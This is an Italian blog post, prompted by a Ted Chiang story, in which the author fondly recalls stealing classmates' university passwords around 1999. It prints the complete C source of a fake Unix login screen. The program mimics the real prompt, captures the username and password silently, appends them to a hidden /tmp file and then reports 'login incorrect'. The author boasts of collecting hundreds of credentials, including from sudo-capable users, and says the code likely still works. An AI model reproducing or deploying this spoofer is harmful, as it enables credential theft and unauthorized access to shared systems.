//Storie della nostra vita

Storie della nostra vita

1 vote
Share on FacebookShare on Google+Tweet about this on TwitterEmail this to someonePrint this page

This post has already been read 102 times!

In questi giorni sto leggendo la raccolta di racconti “Storie della tua vita” di Ted Chiang, che ha ispirato il film Arrival.
Il secondo racconto si chiama “Capisci” e narra la storia di una persona che dopo un incidente e la somministrazione di alcuni ormoni per ricostruire il cervello diventa super intelligente. Il suo primo atto da super intelligente è hackerare il sistema dell’ospedale per leggere la sua cartella clinica, per fare ciò ruba la password di uno dei dottori con un programma che simula la schermata di login e salva su file utente e password.
Eccoci al perché dell’articolo: mi sono commosso di brutto.

Infatti nel lontano 1999 (o forse 2000) il gruppo fondatore del blog (che ai tempi si chiamava “I tre smanettoni e mezzo“) decise che avere una password a testa era poco divertente e che quindi poteva essere cosa buona e giusta rubare delle password (ovviamente l’idea non fu mia ma di Matteo, io sono un bimbo bravo e poi c’ho famiglia). Frequentando con ottimi risultati, alla sala giochi vicino, il Dipartimento di Informatica dell’università (non saprete mai la città altrimenti ci arrestano), gli altri studenti divennero la cavia perfetta (sopratutto perché alcuni avevano il permesso di eseguire sudo).
I nostri eroi unirono i loro cervelli giganteschi (oh nel libro lo fa uno che diventa super intelligente) per creare codesto programma scritto in C (ritrovato nel mio disco esterno, commozione doppia):

//Fotti Password versione Login
//Programma creato dai Tre Smanettoni e 1/2
//Versione 1.0

#include <stdio.h>
#include <stddef.h>
#include <unistd.h>
#include <stdlib.h>
#include <termios.h>
#include <ctype.h>

#define MAX 25
#define SA struct sockaddr
#define MAXLINE 4096
#define BUFFSIZE 80 
#define NOMEMORY "Memoria non disponibile"
#define NOTERM "Non è un terminale"

struct termios saved_attributes; 
/* questo e' la struttura per il settaggio del terminale,
al fine di settare un input non canonico o meno */

char *comando;
char *login;
char *pass;
char *host;
FILE *fp1, *fp2, *fp3;

void reset_input_mode(void)
{
  tcsetattr(STDIN_FILENO, TCSANOW, &saved_attributes); 
/* Salva il precedente stile di input */
}

void set_input_mode(void)
{
  struct termios tattr;

  if (!isatty(STDIN_FILENO)) 
/* La funzione di libreria isatty (int filedes), restituisce 1 se filedes e' un descrittore di file associato con un terminale, 0 altrimenti*/
    {
      fprintf(stderr,NOTERM);
      exit(EXIT_FAILURE);
    }

/* Ora si procede al settaggio delle impostazioni del terminale, al fine di ottenere un input non canonico */

 tcgetattr(STDIN_FILENO, &saved_attributes); 
/* Si prendono le impostazioni correnti con tcgetattr, al fine di salvarle*/

 atexit(reset_input_mode); /* Le salviamo a modo */
 tcgetattr(STDIN_FILENO, &tattr); /* Riprendiamo le impostazioni correnti, per modifcarle */
 tattr.c_lflag &=~(ICANON | ECHO); /* Tolgo l'impostazione canonica e l'echo*/
 tattr.c_cc[VMIN] =1; /* settiamo il numero di bytes, da prelevare */
 tattr.c_cc[VTIME] =0;/*facciamo in modo che la digitazione non abbia timeout*/
 tcsetattr(STDIN_FILENO, TCSAFLUSH,&tattr);/* Voila', settato il terminale per 
               evitare un qualsiasi eco */
}

char getch(void)
     /* esegui una lettura sulla periferica */
{
  char tkn;
  read(STDIN_FILENO,&tkn,1);
  return tkn;
}


char* digitpass(int maxstr)
{
  char tk;
  char *base,*s;
  char passecho[]="Password: ";
  char nologin[]="\nlogin incorrect\n";
  int j;
  base=malloc((maxstr*sizeof(char))+1); /*alloca una stringa di maxstr 
           elementi*/
  s=base; /*offset*/
  if (!s) /* se la memoria non e' disponibile .. ti ciucci il calzino */
    {
      perror(NOMEMORY);
      exit(0);
    }
  j=0;
  write(STDOUT_FILENO,passecho,sizeof(passecho));
  set_input_mode(); /* vedi sopra*/
  tk=getch();
  while ((tk!='\n') && (j<maxstr)) 
    {
      if (isprint(tk)) 
  {
    *s=tk;
    j++;
    s++;
  }
      tk=getch();
    }
  reset_input_mode();
  *s='\0';
  write(STDOUT_FILENO,nologin,sizeof(nologin));
  return base;
}

main() 
{
    
    int i;
    char c, d;
    //system("clear");
    fp1 = fopen("/tmp/.archivio", "a");
    fp2 = fopen("/etc/HOSTNAME", "r");
    fp3 = fopen("/etc/issue", "r");
    host = malloc((10*sizeof(char))+1);
    login = malloc((12*sizeof(char))+1);
    printf("\n\n\n");
    while (!feof(fp3)) 
     {
       c = getc(fp3);
       if (c != (char) EOF) printf("%c", c);
     }
    fclose(fp3);
    while ((d =getc(fp2)) != '.')
      printf("%c", d);
    printf (" login: ");
    gets (login);
    pass=digitpass(79);
    fputs(login, fp1);
    fputs(" ", fp1);
    fputs(pass, fp1);
    fputs("\n", fp1);
    fclose(fp1);
    fclose(fp2);
    exit(0);
}

Il potentissimo programma (dovrebbe funzionare ancora, anche se non bene come prima) apriva i file /etc/hostname e /etc/issue per copiare la login da shell (veniva uguale uguale), farti inserire nome utente e password e uscire. Ovviamente le credenziali finivano nel nostro mitico file. Ne avevamo a centinaia, infatti bastava lanciare il programma prima di lasciare la postazione per aver la password del prossimo utente. Forse da qualche parte ho anche il file con le password.

Non preoccupatevi abbiamo fatto buon uso delle credenziali, sopratutto perché alla sala giochi non servivano.